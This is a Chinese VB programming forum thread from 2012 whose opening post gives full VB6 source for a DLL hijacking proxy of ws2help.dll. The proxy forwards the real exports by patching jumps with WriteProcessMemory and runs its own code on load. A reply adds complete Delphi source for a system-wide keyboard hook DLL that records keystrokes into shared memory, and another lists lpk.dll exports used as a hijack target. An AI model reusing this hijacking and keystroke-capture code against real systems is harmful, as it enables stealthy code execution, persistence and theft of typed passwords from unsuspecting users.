VB做Dll劫持有代码哦~~~

菜鸟学飞 · 发表于 2012-3-3 00:24:13

如果要显示窗口什么的再加一个多线程初始化模块即可,为了简单这里用个messagebox代替
在编译的时候需要用到dll编译插件并且需要导出函数(压缩包里面的导出函数表.txt )
可以使用本人的多功能编译插件编译
http://www.vbgood.com/thread-107527-1-1.html

代码如下

Option Explicit
Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CreateIExprSrvObj Lib "msvbvm60.dll" (ByVal p1_0 As Long, ByVal p2_4 As Long, ByVal p3_0 As Long) As Long
Public Declare Function MessageBox Lib "user32" Alias "MessageBoxA" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
Public Function WahCloseApcHelper() As Long
MsgBox "hello"
End Function
Public Function WahCloseHandleHelper() As Long
MsgBox "hello"
End Function
Public Function WahCloseNotificationHandleHelper() As Long
MsgBox "hello"
End Function
Public Function WahCloseSocketHandle() As Long
MsgBox "hello"
End Function
Public Function WahCloseThread() As Long
MsgBox "hello"
End Function
Public Function WahCompleteRequest() As Long
MsgBox "hello"
End Function
Public Function WahCreateHandleContextTable() As Long
MsgBox "hello"
End Function
Public Function WahCreateNotificationHandle() As Long
MsgBox "hello"
End Function
Public Function WahCreateSocketHandle() As Long
MsgBox "hello"
End Function
Public Function WahDestroyHandleContextTable() As Long
MsgBox "hello"
End Function
Public Function WahDisableNonIFSHandleSupport() As Long
MsgBox "hello"
End Function
Public Function WahEnableNonIFSHandleSupport() As Long
MsgBox "hello"
End Function
Public Function WahEnumerateHandleContexts() As Long
MsgBox "hello"
End Function
Public Function WahInsertHandleContext() As Long
MsgBox "hello"
End Function
Public Function WahNotifyAllProcesses() As Long
MsgBox "hello"
End Function
Public Function WahOpenApcHelper() As Long
MsgBox "hello"
End Function
Public Function WahOpenCurrentThread() As Long
MsgBox "hello"
End Function
Public Function WahOpenHandleHelper() As Long
MsgBox "hello"
End Function
Public Function WahOpenNotificationHandleHelper() As Long
MsgBox "hello"
End Function
Public Function WahQueueUserApc() As Long
MsgBox "hello"
End Function
Public Function WahReferenceContextByHandle() As Long
MsgBox "hello"
End Function
Public Function WahRemoveHandleContext() As Long
MsgBox "hello"
End Function
Public Function WahWaitForNotification() As Long
MsgBox "hello"
End Function
Sub Main()
End Sub
Public Function DllMain(ByVal hinstdll As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long ' "VB标准DLL入口函数
Const DLL_PROCESS_ATTACH As Long = 1
Const DLL_THREAD_ATTACH As Long = 2
Const DLL_PROCESS_DETACH As Long = 0
Const DLL_THREAD_DETACH As Long = 3
Dim nRet As Long
nRet = 1
Select Case fdwReason
Case DLL_PROCESS_ATTACH
CreateIExprSrvObj 0, 4, 0
If LoadOldDll() = False Then
nRet = 0
Else
MessageBox 0, "劫持Dll 成功", "提示", 16
End If
Case DLL_THREAD_ATTACH
Case DLL_PROCESS_DETACH
Case DLL_THREAD_DETACH
End Select
DllMain = nRet
End Function
Public Function WriteJmpCode(ByVal addr As Long, ByVal jmpAddr As Long) As Long
Dim bin As Byte
Dim Jmpcode As Integer
'00401208 > B8 01000000 mov eax, 1
'0040120D FFE0 jmp eax
bin = &HB8
Jmpcode = &HE0FF
WriteProcessMemory -1, addr, bin, 1, ByVal 0
WriteProcessMemory -1, addr + 1, jmpAddr, 4, ByVal 0
WriteProcessMemory -1, addr + 5, Jmpcode, 2, ByVal 0
End Function
Public Function LoadOldDll() As Boolean
Dim ModHandle As Long
ModHandle = LoadLibrary("C:\windows\system32\ws2help.dll")
If ModHandle > 0 Then
WriteJmpCode AddressOf WahCloseApcHelper, GetProcAddress(ModHandle, "WahCloseApcHelper")
WriteJmpCode AddressOf WahCloseHandleHelper, GetProcAddress(ModHandle, "WahCloseHandleHelper")
WriteJmpCode AddressOf WahCloseNotificationHandleHelper, GetProcAddress(ModHandle, "WahCloseNotificationHandleHelper")
WriteJmpCode AddressOf WahCloseSocketHandle, GetProcAddress(ModHandle, "WahCloseSocketHandle")
WriteJmpCode AddressOf WahCloseThread, GetProcAddress(ModHandle, "WahCloseThread")
WriteJmpCode AddressOf WahCompleteRequest, GetProcAddress(ModHandle, "WahCompleteRequest")
WriteJmpCode AddressOf WahCreateHandleContextTable, GetProcAddress(ModHandle, "WahCreateHandleContextTable")
WriteJmpCode AddressOf WahCreateNotificationHandle, GetProcAddress(ModHandle, "WahCreateNotificationHandle")
WriteJmpCode AddressOf WahCreateSocketHandle, GetProcAddress(ModHandle, "WahCreateSocketHandle")
WriteJmpCode AddressOf WahDestroyHandleContextTable, GetProcAddress(ModHandle, "WahDestroyHandleContextTable")
WriteJmpCode AddressOf WahDisableNonIFSHandleSupport, GetProcAddress(ModHandle, "WahDisableNonIFSHandleSupport")
WriteJmpCode AddressOf WahEnableNonIFSHandleSupport, GetProcAddress(ModHandle, "WahEnableNonIFSHandleSupport")
WriteJmpCode AddressOf WahEnumerateHandleContexts, GetProcAddress(ModHandle, "WahEnumerateHandleContexts")
WriteJmpCode AddressOf WahInsertHandleContext, GetProcAddress(ModHandle, "WahInsertHandleContext")
WriteJmpCode AddressOf WahNotifyAllProcesses, GetProcAddress(ModHandle, "WahNotifyAllProcesses")
WriteJmpCode AddressOf WahOpenApcHelper, GetProcAddress(ModHandle, "WahOpenApcHelper")
WriteJmpCode AddressOf WahOpenCurrentThread, GetProcAddress(ModHandle, "WahOpenCurrentThread")
WriteJmpCode AddressOf WahOpenHandleHelper, GetProcAddress(ModHandle, "WahOpenHandleHelper")
WriteJmpCode AddressOf WahOpenNotificationHandleHelper, GetProcAddress(ModHandle, "WahOpenNotificationHandleHelper")
WriteJmpCode AddressOf WahQueueUserApc, GetProcAddress(ModHandle, "WahQueueUserApc")
WriteJmpCode AddressOf WahReferenceContextByHandle, GetProcAddress(ModHandle, "WahReferenceContextByHandle")
WriteJmpCode AddressOf WahRemoveHandleContext, GetProcAddress(ModHandle, "WahRemoveHandleContext")
WriteJmpCode AddressOf WahWaitForNotification, GetProcAddress(ModHandle, "WahWaitForNotification")
LoadOldDll = True
Else
LoadOldDll = False
End If
End Function

复制代码

JuncoJet · 发表于 2012-3-3 01:10:43

lz真有闲功夫。。

cxbs · 发表于 2012-3-3 09:33:59

本帖最后由 cxbs 于 2012-3-3 09:35 编辑

楼主对Dll有研究，可以请教一个问题吗，就是能不能VB在Exe里加载一个VB Dll(类似显示窗口From1.Show vbModal)，但是加载必须要等DLL关闭了才可以继续执行下去，能不能像Exe里显示一个窗口用:From1.Show 后可以继续打开其它窗口呢，之前我想到用DLL驻入内存（就是在EXE里加载了DLL后，DLL在后台运行，就算Exe关闭了Dll还在运行)，可是我试了很多方法都没有成功，希望能指点一下，在此先谢谢了！

196466517 · 发表于 2012-3-3 10:32:44

一直不明白咱用。。。这个生成dll后替系统下的dll还是注入dll

cxbs · 发表于 2012-3-3 11:20:08

cxbs 发表于 2012-3-3 09:33
楼主对Dll有研究，可以请教一个问题吗，就是能不能VB在Exe里加载一个VB Dll(类似显示窗口From1.Show vbModa ...

可以在EXE里创建一个线程并加载DLL里的窗口吗？

h907308901 · 发表于 2012-3-3 11:58:01

本帖最后由 h907308901 于 2012-3-3 11:59 编辑

汗，全给HOOK掉了

cxbs · 发表于 2012-3-3 12:11:45

cxbs 发表于 2012-3-3 09:33
楼主对Dll有研究，可以请教一个问题吗，就是能不能VB在Exe里加载一个VB Dll(类似显示窗口From1.Show vbModa ...

这个就是可以在VB EXE里定义并执行了DLL里的函数后，VB EXE关闭了DLL还在内存中运行

library KEYHOOK;
uses
  Windows;

const BUFFER_SIZE = 16 * 1024;
const HOOK_MEM_FILENAME = 'SAMPLE KEY_HOOK_MEM_FILE';
const HOOK_MUTEX_NAME = 'SAMPLE KEY_HOOK_MUTEX_NAME';
type
  TShared = record
Keys: array[0..BUFFER_SIZE] of Char;
KeyCount: Integer;
  end;
  PShared = ^TShared;
var
  MemFile, HookMutex: THandle;
  hOldKeyHook: HHook;
  ProcSaveExit: Pointer;
  Shared: PShared;
  //键盘钩子过滤函数
function KeyHookProc(iCode: Integer; wParam: wParam; lParam: lParam): LRESULT
  ; stdcall; export;
const KeyPressMask = $80000000;
begin
  if iCode < 0 then
Result := CallNextHookEx(hOldKeyHook, iCode, wParam, lParam)
  else begin
if ((lParam and KeyPressMask) = 0) then {// 键按下} begin
   Shared^.Keys[Shared^.KeyCount] := Char(wParam and $00FF);
   Inc(Shared^.KeyCount);
   if Shared^.KeyCount >= BUFFER_SIZE - 1 then Shared^.KeyCount := 0;
end;
iCode := -1;
Result := CallNextHookEx(hOldKeyHook, iCode, wParam, lParam);
  end;
end;
// 设置钩子过滤函数
function EnableKeyHook: BOOL; export;
begin
  Shared^.KeyCount := 0; //初始化键盘指针
  if hOldKeyHook = 0 then begin
hOldKeyHook := SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, HInstance, 0);
  end;
  Result := (hOldKeyHook = 0);
end;
//撤消钩子过滤函数
function DisableKeyHook: BOOL; export;
begin
  if hOldKeyHook = 0 then begin
UnHookWindowsHookEx(hOldKeyHook); // 解除 Keyboard Hook
hOldKeyHook := 0;
Shared^.KeyCount := 0;
  end;
  Result := (hOldKeyHook = 0);
end;
//取得键盘缓冲区中击键的个数
function GetKeyCount: Integer; export;
begin
  Result := Shared^.KeyCount;
end;
//取得键盘缓冲区的键
function GetKey(index: Integer): Char; export;
begin
  Result := Shared^.Keys[index];
end;
//清空键盘缓冲区
procedure ClearKeyString; export;
begin
  Shared^.KeyCount := 0;
end;
//DLL的退出处理过程
procedure KeyHookExit; far;
begin
  if hOldKeyHook = 0 then DisableKeyHook;
  UnMapViewOfFile(Shared); // 释放内存映象文件
  CloseHandle(MemFile); // 关闭映象文件
  ExitProc := ProcSaveExit;
end;
exports // 定义输出函数
  EnableKeyHook,
  DisableKeyHook,
  GetKeyCount,
  ClearKeyString,
  GetKey;
begin
  // DLL 初始化部分
  HookMutex := CreateMutex(nil, True, HOOK_MUTEX_NAME);
  // 通过建立内存映象文件以共享内存
  MemFile := OpenFileMapping(FILE_MAP_WRITE, False, HOOK_MEM_FILENAME);
  if MemFile = 0 then
MemFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TShared), HOOK_MEM_FILENAME);
  Shared := MapViewOfFile(MemFile, FILE_MAP_WRITE, 0, 0, 0);
  ReleaseMutex(HookMutex);
  CloseHandle(HookMutex);
  ProcSaveExit := ExitProc; // 保存DLL的ExitProc
  ExitProc := @KeyHookExit; // 设置DLL新的ExitProc
end.

19900603 · 发表于 2012-3-3 18:21:46

本帖最后由 19900603 于 2012-3-3 19:11 编辑

这办法不错呦。。。不知道Push Ret Hook 在Dll 中能否实现有空我研究下
附上 Lpk 导出函数表
ftsWordBreak
LpkUseGDIWidthCache
LpkPSMTextOut
LpkGetTextExtentExPoint
LpkGetCharacterPlacement
LpkExtTextOut
LpkEditControl
LpkDrawTextEx
LpkDllInitialize
LpkTabbedTextOut
LpkInitialize

qq275158045 · 发表于 2012-3-3 22:43:35

我这边有的程序加载的话提示出错喔！大大

qq275158045 · 发表于 2012-3-3 22:45:36

会提示：应用程序正常初始化(0xc000007b)失败。请单击“确定”，终止应用程序。

		自动登录	找回密码
密码			立即注册

VBGood网站全文搜索

[原创] VB做Dll劫持有代码哦~~~

本帖子中包含更多资源

点评

评分

本帖被以下淘专辑推荐:

点评

点评

点评

点评

VBGood网站全文搜索

[原创] VB做Dll劫持 有代码哦~~~

本帖子中包含更多资源

点评

评分

本帖被以下淘专辑推荐:

点评

点评

点评

点评

[原创] VB做Dll劫持有代码哦~~~